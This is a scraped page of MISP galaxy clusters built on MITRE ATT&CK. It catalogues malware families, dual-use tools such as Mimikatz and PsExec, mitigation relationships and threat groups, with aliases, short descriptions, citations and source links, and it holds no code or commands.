https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
Emissary - S0082
Emissary is a Trojan that has been used by Lotus Blossom. It shares code with Elise, with both Trojans being part of a malware group referred to as LStudio. (Citation: Lotus Blossom Dec 2015)
Aliases: Emissary
Emissary - S0082 is also known as:
-
Emissary
Links |
PUNCHTRACK - S0197
PUNCHTRACK is non-persistent point of sale (POS) system malware utilized by FIN8 to scrape payment card data. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)
Aliases: PUNCHTRACK, PSVC
PUNCHTRACK - S0197 is also known as:
-
PUNCHTRACK
-
PSVC
Links |
https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html |
https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html |
Miner-C - S0133
Miner-C is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)
Aliases: Miner-C, Mal/Miner-C, PhotoMiner
Miner-C - S0133 is also known as:
-
Miner-C
-
Mal/Miner-C
-
PhotoMiner
Links |
DustySky - S0062
(Citation: DustySky) is multi-stage malware written in .NET that has been used by Molerats since May 2015. (Citation: DustySky) (Citation: DustySky)2
Aliases: (Citation: DustySky), NeD Worm
DustySky - S0062 is also known as:
-
DustySky
-
NeD Worm
Links |
BUBBLEWRAP - S0043
BUBBLEWRAP is a full-featured, second-stage backdoor used by the admin@338 group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. (Citation: FireEye admin@338)
Aliases: BUBBLEWRAP, Backdoor.APT.FakeWinHTTPHelper
BUBBLEWRAP - S0043 is also known as:
-
BUBBLEWRAP
-
Backdoor.APT.FakeWinHTTPHelper
Links |
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html |
pngdowner - S0067
pngdowner is malware used by Putter Panda. It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple "download-and- execute" utility. (Citation: CrowdStrike Putter Panda)
Aliases: pngdowner
pngdowner - S0067 is also known as:
-
pngdowner
Links |
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf |
SslMM - S0058
SslMM is a full-featured backdoor used by Naikon that has multiple variants. (Citation: Baumgartner Naikon 2015)
Aliases: SslMM
SslMM - S0058 is also known as:
-
SslMM
Links |
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf |
Nidiran - S0118
Nidiran is a custom backdoor developed and used by Suckfly. It has been delivered via strategic web compromise. (Citation: Symantec Suckfly March 2016)
Aliases: Nidiran, Backdoor.Nidiran
Nidiran - S0118 is also known as:
-
Nidiran
-
Backdoor.Nidiran
Links |
http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates |
Trojan.Mebromi - S0001
Trojan.Mebromi is BIOS-level malware that takes control of the victim before MBR. (Citation: Ge 2011)
Aliases: Trojan.Mebromi
Trojan.Mebromi - S0001 is also known as:
-
Trojan.Mebromi
Links |
http://www.symantec.com/connect/blogs/bios-threat-showing-again |
KARAE - S0215
is a backdoor typically used by APT37 as first-stage malware. (Citation: FireEye APT37 Feb 2018)
Aliases: KARAE
KARAE - S0215 is also known as:
-
KARAE
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf |
OwaAuth - S0072
OwaAuth is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by Threat Group-3390. (Citation: Dell TG-3390)
Aliases: OwaAuth
OwaAuth - S0072 is also known as:
-
OwaAuth
Links |
ROCKBOOT - S0112
ROCKBOOT is a Bootkit that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits)
Aliases: ROCKBOOT
ROCKBOOT - S0112 is also known as:
-
ROCKBOOT
Links |
https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html |
MURKYTOP - S0233
MURKYTOP is a reconnaissance tool used by Leviathan. (Citation: FireEye Periscope March 2018)
Aliases: MURKYTOP
MURKYTOP - S0233 is also known as:
-
MURKYTOP
Links |
OnionDuke - S0052
OnionDuke is malware that was used by APT29 from 2013 to 2015. (Citation: F-Secure The Dukes)
Aliases: OnionDuke
OnionDuke - S0052 is also known as:
-
OnionDuke
Links |
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf |
JPIN - S0201
JPIN is a custom-built backdoor family used by PLATINUM. Evidence suggests developers of JPIN and Dipsind code bases were related in some way. (Citation: Microsoft PLATINUM April 2016)
Aliases: JPIN
Contributors: Ryan Becwar
JPIN - S0201 is also known as:
-
JPIN
Links |
LOWBALL - S0042
LOWBALL is malware used by admin@338. It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)
Aliases: LOWBALL
LOWBALL - S0042 is also known as:
-
LOWBALL
Links |
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html |
Wiarp - S0206
is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Wiarp May 2012)
Aliases: Wiarp
Wiarp - S0206 is also known as:
-
Wiarp
Links |
https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051606-1005-99 |
BLACKCOFFEE - S0069
BLACKCOFFEE is malware that has been used by several Chinese groups since at least 2013. (Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)
Aliases: BLACKCOFFEE
BLACKCOFFEE - S0069 is also known as:
-
BLACKCOFFEE
Links |
https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf |
Derusbi - S0021
Derusbi is malware used by multiple Chinese APT groups. (Citation: Axiom) (Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed. (Citation: Fidelis Turbo)
Aliases: Derusbi, PHOTO
Derusbi - S0021 is also known as:
-
Derusbi
-
PHOTO
RawPOS - S0169
RawPOS is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)
Aliases: RawPOS, FIENDCRY, DUEBREW, DRIFTWOOD
Contributors: Walker Johnson
RawPOS - S0169 is also known as:
-
RawPOS
-
FIENDCRY
-
DUEBREW
-
DRIFTWOOD
Links |
https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf |
Epic - S0091
Epic is a backdoor that has been used by Turla. (Citation: Kaspersky Turla)
Aliases: Epic, Tavdig, Wipbot, WorldCupSec, TadjMakhal
Epic - S0091 is also known as:
-
Epic
-
Tavdig
-
Wipbot
-
WorldCupSec
-
TadjMakhal
Links |
Lurid - S0010
Lurid is a malware family that has been used by several groups, including PittyTiger, in targeted attacks as far back as 2006. (Citation: Villeneuve 2014) (Citation: Villeneuve 2011)
Aliases: Lurid, Enfal
Lurid - S0010 is also known as:
-
Lurid
-
Enfal
Links |
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html |
3PARA RAT - S0066
3PARA RAT is a remote access tool (RAT) programmed in C++ that has been used by Putter Panda. (Citation: CrowdStrike Putter Panda)
Aliases: 3PARA RAT
3PARA RAT - S0066 is also known as:
-
3PARA RAT
Links |
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf |
JHUHUGIT - S0044
JHUHUGIT is malware used by APT28. It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)
Aliases: JHUHUGIT, Seduploader, JKEYSKW, Sednit, GAMEFISH, SofacyCarberp
JHUHUGIT - S0044 is also known as:
-
JHUHUGIT
-
Seduploader
-
JKEYSKW
-
Sednit
-
GAMEFISH
-
SofacyCarberp
ELMER - S0064
ELMER is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by APT16. (Citation: FireEye EPS Awakens Part 2)
Aliases: ELMER
ELMER - S0064 is also known as:
-
ELMER
Links |
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html |
Enterprise Attack - Relationship
MITRE Relationship.
Enterprise Attack - Relationship is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
MITRE
Communication Through Removable Media Mitigation (T1092) mitigates Communication Through Removable Media (T1092)
Component Object Model Hijacking Mitigation (T1122) mitigates Component Object Model Hijacking (T1122)
Network Share Connection Removal Mitigation (T1126) mitigates Network Share Connection Removal (T1126)
Replication Through Removable Media Mitigation (T1091) mitigates Replication Through Removable Media (T1091)
Windows Management Instrumentation Mitigation (T1047) mitigates Windows Management Instrumentation (T1047)
System Network Configuration Discovery Mitigation (T1016) mitigates System Network Configuration Discovery (T1016)
Registry Run Keys / Start Folder Mitigation (T1060) mitigates Registry Run Keys / Start Folder (T1060)
Custom Command and Control Protocol Mitigation (T1094) mitigates Custom Command and Control Protocol (T1094)
Exfiltration Over Command and Control Channel Mitigation (T1041) mitigates Exfiltration Over Command and Control Channel (T1041)
Application Deployment Software Mitigation (T1017) mitigates Application Deployment Software (T1017)
Image File Execution Options Injection Mitigation (T1183) mitigates Image File Execution Options Injection (T1183)
Distributed Component Object Model Mitigation (T1175) mitigates Distributed Component Object Model (T1175)
Exfiltration Over Alternative Protocol Mitigation (T1048) mitigates Exfiltration Over Alternative Protocol (T1048)
Exfiltration Over Physical Medium Mitigation (T1052) mitigates Exfiltration Over Physical Medium (T1052)
Two-Factor Authentication Interception Mitigation (T1111) mitigates Two-Factor Authentication Interception (T1111)
Standard Cryptographic Protocol Mitigation (T1032) mitigates Standard Cryptographic Protocol (T1032)
Service Registry Permissions Weakness Mitigation (T1058) mitigates Service Registry Permissions Weakness (T1058)
Change Default File Association Mitigation (T1042) mitigates Change Default File Association (T1042)
File System Permissions Weakness Mitigation (T1044) mitigates File System Permissions Weakness (T1044)
Standard Application Layer Protocol Mitigation (T1071) mitigates Standard Application Layer Protocol (T1071)
Deobfuscate/Decode Files or Information Mitigation (T1140) mitigates Deobfuscate/Decode Files or Information (T1140)
Windows Management Instrumentation Event Subscription Mitigation (T1084) mitigates Windows Management Instrumentation Event Subscription (T1084)
Standard Non-Application Layer Protocol Mitigation (T1095) mitigates Standard Non-Application Layer Protocol (T1095)
Enterprise Attack - Tool
Name of ATT&CK software.
Enterprise Attack - Tool is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
MITRE
Winexe - S0191
is a lightweight, open source tool similar to PsExec designed to allow system administrators to execute commands on remote servers. (Citation: Winexe Github Sept 2013) is unique in that it is a GNU/Linux based client. (Citation: Überwachung APT28 Forfiles June 2015)
Aliases: Winexe
Winexe - S0191 is also known as:
-
Winexe
Links |
at - S0110
at is used to schedule tasks on a system to run at a specified date or time. (Citation: TechNet At)
Aliases: at, at.exe
at - S0110 is also known as:
-
at
-
at.exe
Links |
route - S0103
route can be used to find or change information within the local system IP routing table. (Citation: TechNet Route)
Aliases: route, route.exe
route - S0103 is also known as:
-
route
-
route.exe
Links |
Tasklist - S0057
The Tasklist utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface. (Citation: Microsoft Tasklist)
Aliases: Tasklist
Tasklist - S0057 is also known as:
-
Tasklist
Links |
Windows Credential Editor - S0005
Windows Credential Editor is a password dumping tool. (Citation: Amplia WCE)
Aliases: Windows Credential Editor, WCE
Windows Credential Editor - S0005 is also known as:
-
Windows Credential Editor
-
WCE
Links |
Responder - S0174
Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. (Citation: GitHub Responder)
Aliases: Responder
Responder - S0174 is also known as:
-
Responder
Links |
schtasks - S0111
schtasks is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time. (Citation: TechNet Schtasks)
Aliases: schtasks, schtasks.exe
schtasks - S0111 is also known as:
-
schtasks
-
schtasks.exe
Links |
UACMe - S0116
UACMe is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. (Citation: Github UACMe)
Aliases: UACMe
UACMe - S0116 is also known as:
-
UACMe
Links |
ifconfig - S0101
ifconfig is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system. (Citation: Wikipedia Ifconfig)
Aliases: ifconfig
ifconfig - S0101 is also known as:
-
ifconfig
Links |
BITSAdmin - S0190
is a command line tool used to create and manage BITS Jobs. (Citation: Microsoft BITSAdmin)
Aliases: BITSAdmin
BITSAdmin - S0190 is also known as:
-
BITSAdmin
Links |
Mimikatz - S0002
Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)
Aliases: Mimikatz
Contributors: Vincent Le Toux
Mimikatz - S0002 is also known as:
-
Mimikatz
Links |
xCmd - S0123
(Citation: xCmd) is an open source tool that is similar to PsExec and allows the user to execute applications on remote systems. (Citation: xCmd)
Aliases: (Citation: xCmd)
xCmd - S0123 is also known as:
-
xCmd
Links |
https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/ |
MimiPenguin - S0179
MimiPenguin is a credential dumper, similar to Mimikatz, designed specifically for Linux platforms. (Citation: MimiPenguin GitHub May 2017)
Aliases: MimiPenguin
Contributors: Vincent Le Toux
MimiPenguin - S0179 is also known as:
-
MimiPenguin
Links |
SDelete - S0195
is an application that securely deletes data in a way that makes it unrecoverable. It is part of the Microsoft Sysinternals suite of tools. (Citation: Microsoft SDelete July 2016)
Aliases: SDelete
SDelete - S0195 is also known as:
-
SDelete
Links |
https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete |
Systeminfo - S0096
Systeminfo is a Windows utility that can be used to gather detailed information about a computer. (Citation: TechNet Systeminfo)
Aliases: Systeminfo, systeminfo.exe
Systeminfo - S0096 is also known as:
-
Systeminfo
-
systeminfo.exe
Links |
netsh - S0108
netsh is a scripting utility used to interact with networking components on local or remote systems. (Citation: TechNet Netsh)
Aliases: netsh, netsh.exe
netsh - S0108 is also known as:
-
netsh
-
netsh.exe
Links |
dsquery - S0105
dsquery is a command-line utility that can be used to query Active Directory for information from a system within a domain. (Citation: TechNet Dsquery) It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.
Aliases: dsquery, dsquery.exe
dsquery - S0105 is also known as:
-
dsquery
-
dsquery.exe
Links |
gsecdump - S0008
gsecdump is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems. (Citation: TrueSec Gsecdump)
Aliases: gsecdump
gsecdump - S0008 is also known as:
-
gsecdump
Links |
https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump%20v2.0b5 |
Ping - S0097
Ping is an operating system utility commonly used to troubleshoot and verify network connections. (Citation: TechNet Ping)
Aliases: Ping, ping.exe
Ping - S0097 is also known as:
-
Ping
-
ping.exe
Links |
Fgdump - S0120
Fgdump is a Windows password hash dumper. (Citation: Mandiant APT1)
Aliases: Fgdump
Fgdump - S0120 is also known as:
-
Fgdump
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
Lslsass - S0121
Lslsass is a publicly-available tool that can dump active logon session password hashes from the lsass process. (Citation: Mandiant APT1)
Aliases: Lslsass
Lslsass - S0121 is also known as:
-
Lslsass
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
Pass-The-Hash Toolkit - S0122
Pass-The-Hash Toolkit is a toolkit that allows an adversary to "pass" a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)
Aliases: Pass-The-Hash Toolkit
Pass-The-Hash Toolkit - S0122 is also known as:
-
Pass-The-Hash Toolkit
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
FTP - S0095
FTP is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data. (Citation: Wikipedia FTP)
Aliases: FTP, ftp.exe
FTP - S0095 is also known as:
-
FTP
-
ftp.exe
Links |
ipconfig - S0100
ipconfig is a Windows utility that can be used to find information about a system’s TCP/IP, DNS, DHCP, and adapter configuration. (Citation: TechNet Ipconfig)
Aliases: ipconfig, ipconfig.exe
ipconfig - S0100 is also known as:
-
ipconfig
-
ipconfig.exe
Links |
nbtstat - S0102
nbtstat is a utility used to troubleshoot NetBIOS name resolution. (Citation: TechNet Nbtstat)
Aliases: nbtstat, nbtstat.exe
nbtstat - S0102 is also known as:
-
nbtstat
-
nbtstat.exe
Links |
HTRAN - S0040
HTRAN is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. (Citation: Operation Quantum Entanglement)
Aliases: HTRAN, HUC Packet Transmit Tool
HTRAN - S0040 is also known as:
-
HTRAN
-
HUC Packet Transmit Tool
Links |
Tor - S0183
Tor is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. Tor utilizes "Onion Routing," in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)
Aliases: Tor
Tor - S0183 is also known as:
-
Tor
Links |
netstat - S0104
netstat is an operating system utility that displays active TCP connections, listening ports, and network statistics. (Citation: TechNet Netstat)
Aliases: netstat, netstat.exe
netstat - S0104 is also known as:
-
netstat
-
netstat.exe
Links |
pwdump - S0006
pwdump is a credential dumper. (Citation: Wikipedia pwdump)
Aliases: pwdump
pwdump - S0006 is also known as:
-
pwdump
Links |
Cachedump - S0119
Cachedump is a publicly-available tool that program extracts cached password hashes from a system’s registry. (Citation: Mandiant APT1)
Aliases: Cachedump
Cachedump - S0119 is also known as:
-
Cachedump
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
Forfiles - S0193
Forfiles is a Windows utility commonly used in batch jobs to execute commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts. (Citation: Microsoft Forfiles Aug 2016)
Aliases: Forfiles
Contributors: Matthew Demaske, Adaptforward
Forfiles - S0193 is also known as:
-
Forfiles
Links |
Net - S0039
The Net utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)
Net has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through Windows admin shares using <code>net use</code> commands, and interacting with services.
Aliases: Net, net.exe
Net - S0039 is also known as:
-
Net
-
net.exe
Links |
PsExec - S0029
PsExec is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers. (Citation: Russinovich Sysinternals) (Citation: SANS PsExec)
Aliases: PsExec
PsExec - S0029 is also known as:
-
PsExec
Links |
https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx |
certutil - S0160
Certutil is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services. (Citation: TechNet Certutil)
Aliases: certutil, certutil.exe
certutil - S0160 is also known as:
-
certutil
-
certutil.exe
Links |
Arp - S0099
Arp displays information about a system’s Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)
Aliases: Arp, arp.exe
Arp - S0099 is also known as:
-
Arp
-
arp.exe
Links |
cmd - S0106
cmd is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities. (Citation: TechNet Cmd)
Cmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., <code>dir</code> (Citation: TechNet Dir)), deleting files (e.g., <code>del</code> (Citation: TechNet Del)), and copying files (e.g., <code>copy</code> (Citation: TechNet Copy)).
Aliases: cmd, cmd.exe
cmd - S0106 is also known as:
-
cmd
-
cmd.exe
Links |
Havij - S0224
Havij is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. (Citation: Check Point Havij Analysis)
Aliases: Havij
Havij - S0224 is also known as:
-
Havij
Links |
https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/ |
PowerSploit - S0194
PowerSploit is an open source, offensive security framework compromised of PowerShell modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation)
Aliases: PowerSploit
PowerSploit - S0194 is also known as:
-
PowerSploit
Links |
meek - S0175
meek is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.
Aliases: meek
meek - S0175 is also known as:
-
meek
Links |
Reg - S0075
Reg is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. (Citation: Microsoft Reg)
Utilities such as Reg are known to be used by persistent threats. (Citation: Windows Commands JPCERT)
Aliases: Reg, reg.exe
Reg - S0075 is also known as:
-
Reg
-
reg.exe
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
spwebmember - S0227
spwebmember is a Microsoft SharePoint enumeration and data dumping tool written in .NET. (Citation: NCC Group APT15 Alive and Strong)
Aliases: spwebmember
spwebmember - S0227 is also known as:
-
spwebmember
Links |
Pupy - S0192
Pupy is an open source, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool. (Citation: GitHub Pupy) It is written in Python and can be generated as a payload in several different ways (Windows exe, Python file, PowerShell oneliner/file, Linux elf, APK, Rubber Ducky, etc.). (Citation: GitHub Pupy) Pupy is publicly available on GitHub. (Citation: GitHub Pupy)
Aliases: Pupy
Pupy - S0192 is also known as:
-
Pupy
Links |
sqlmap - S0225
sqlmap is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws. (Citation: sqlmap Introduction)
Aliases: sqlmap
sqlmap - S0225 is also known as:
-
sqlmap
Links |
Cobalt Strike - S0154
Cobalt Strike is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)
In addition to its own capabilities, Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz. (Citation: cobaltstrike manual)
Aliases: Cobalt Strike
Contributors: Josh Abraham
Cobalt Strike - S0154 is also known as:
-
Cobalt Strike
Links |
Invoke-PSImage - S0231
Invoke-PSImage takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)
Aliases: Invoke-PSImage
Contributors: Christiaan Beek, @ChristiaanBeek
Invoke-PSImage - S0231 is also known as:
-
Invoke-PSImage
Links |
intrusion Set
Name of ATT&CK Group.
intrusion Set is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
MITRE
Poseidon Group
Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm.[[Citation: Kaspersky Poseidon Group]]
Poseidon Group is also known as:
-
Poseidon Group
Links |
Group5
Group5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack.[[Citation: Citizen Lab Group5]]
Group5 is also known as:
-
Group5
Links |
PittyTiger
PittyTiger is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.[[Citation: Bizeul 2014]][[Citation: Villeneuve 2014]]
PittyTiger is also known as:
-
PittyTiger
Links |
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html |
http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2 |
admin@338
admin@338 is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors.[[Citation: FireEye admin@338]]
admin@338 is also known as:
-
admin@338
Links |
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html |
RTM
RTM is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name (RTM).[[Citation: ESET RTM Feb 2017]]
RTM is also known as:
-
RTM
Links |
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf |
APT16
APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations.[[Citation: FireEye EPS Awakens Part 2]]
APT16 is also known as:
-
APT16
Links |
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html |
APT28
APT28 is a threat group that has been attributed to the Russian government.[[Citation: FireEye APT28]][[Citation: SecureWorks TG-4127]][[Citation: FireEye APT28 January 2017]][[Citation: GRIZZLY STEPPE JAR]] This group reportedly compromised the Democratic National Committee in April 2016.[[Citation: Crowdstrike DNC June 2016]]
APT28 is also known as:
-
APT28
-
Sednit
-
Sofacy
-
Pawn Storm
-
Fancy Bear
-
STRONTIUM
-
Tsar Team
-
Threat Group-4127
-
TG-4127
Winnti Group
Winnti Group is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. Though both this group and Axiom use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting.[[Citation: Kaspersky Winnti April 2013]][[Citation: Kaspersky Winnti June 2015]][[Citation: Novetta Winnti April 2015]]
Winnti Group is also known as:
-
Winnti Group
-
Blackfly
Links |
http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf |
Deep Panda
Deep Panda is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications.Deep Panda.Deep Panda also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion.[[Citation: Symantec Black Vine]]
Deep Panda is also known as:
-
Deep Panda
-
Shell Crew
-
WebMasters
-
KungFu Kittens
-
PinkPanther
-
Black Vine
Molerats
Molerats is a politically-motivated threat group that has been operating since 2012. The group’s victims have primarily been in the Middle East, Europe, and the United States.[[Citation: DustySky]][[Citation: DustySky2]]
Molerats is also known as:
-
Molerats
-
Gaza cybergang
-
Operation Molerats
Links |
Strider
Strider is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda.[[Citation: Symantec Strider Blog]][[Citation: Kaspersky ProjectSauron Blog]]
Strider is also known as:
-
Strider
-
ProjectSauron
Sandworm Team
Sandworm Team is a cyber espionage group that has operated since approximately 2009 and has been attributed to Russia.[[Citation: iSIGHT Sandworm 2014]] This group is also known as Quedagh.[[Citation: F-Secure BlackEnergy 2014]]
Sandworm Team is also known as:
-
Sandworm Team
-
Quedagh
Links |
https://www.f-secure.com/documents/996508/1030745/blackenergy%20whitepaper.pdf |
FIN6
FIN6 is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.[[Citation: FireEye FIN6 April 2016]]
FIN6 is also known as:
-
FIN6
Links |
Dust Storm
Dust Storm is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries.[[Citation: Cylance Dust Storm]]
Dust Storm is also known as:
-
Dust Storm
Links |
Cleaver
Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver.[[Citation: Cylance Cleaver]] Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889).[[Citation: Dell Threat Group 2889]]
Cleaver is also known as:
-
Cleaver
-
Threat Group 2889
-
TG-2889
Links |
http://www.cylance.com/assets/Cleaver/Cylance%20Operation%20Cleaver%20Report.pdf |
APT12
APT12 is a threat group that has been attributed to China.[[Citation: Meyers Numbered Panda]] It is also known as DynCalc, IXESHE, and Numbered Panda.[[Citation: Moran 2014]][[Citation: Meyers Numbered Panda]]
APT12 is also known as:
-
APT12
-
IXESHE
-
DynCalc
-
Numbered Panda
Links |
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html |
Moafee
Moafee is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group DragonOK. .[[Citation: Haq 2014]]
Moafee is also known as:
-
Moafee
Links |
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html |
Threat Group-3390
is a Chinese threat group that has extensively used strategic Web compromises to target victims.[[Citation: Dell TG-3390]] The group has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors.[[Citation: SecureWorks BRONZE UNION June 2017]]
Threat Group-3390 is also known as:
-
Threat Group-3390
-
TG-3390
-
Emissary Panda
-
BRONZE UNION
Links |
DragonOK
